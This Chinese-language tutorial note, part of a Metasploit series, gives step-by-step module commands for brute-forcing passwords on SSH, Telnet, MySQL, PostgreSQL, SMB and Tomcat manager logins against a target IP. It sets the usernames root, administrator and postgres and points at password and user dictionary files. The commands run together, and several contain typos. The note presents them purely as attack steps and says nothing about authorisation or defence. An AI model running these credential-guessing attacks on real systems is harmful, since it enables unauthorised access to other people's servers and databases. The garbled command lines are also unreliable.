metasploit篇-03

口令密码爆破模块
爆破ssh服务口令的猜解大多数都是linux下的search ssh这个时候我们能看到很多

search ssh_login找到一个字典


use auxiliary/scanner/ssh/ssh_login


show optionsset RHOST ip地址set PASS_FILE passset USERNAME rootexploit


下面其他的服务的操作给它是一样的，就不一一操作了。

爆破破解telnet比较慢search telnet_loginuse auxiliary/scanner/telnet/telnet_loginshow opiotnsset RHOST IPset PASS_FILE passset USERNAME administratorshow optionsexploit
爆破破解mysql数据库search mysql_loginuse auxiliary/scanner/mysql/mysql_loginshow optionsset RHOSTS ipset PASS_FILE passset USERNAMR rootexploit

爆破数据库
search postfresql_loginuse auxiliary/scanner/postgres/postgres_loginshow optionsset RHOSTS ipset PASS_FILE passset USERNAME postgresexploit

爆破smbda攻击use auxiliary/scanner/smb/smb_loginshow options下面的一样

爆破tomcat攻击search tomacatuse auxiliary/scanner/http/tomcat_mgr_loginset RHOSTS IPset PASS_FILE /root/pass.txtset USER_FILE /root/user.txtexploit

来自为知笔记(Wiz)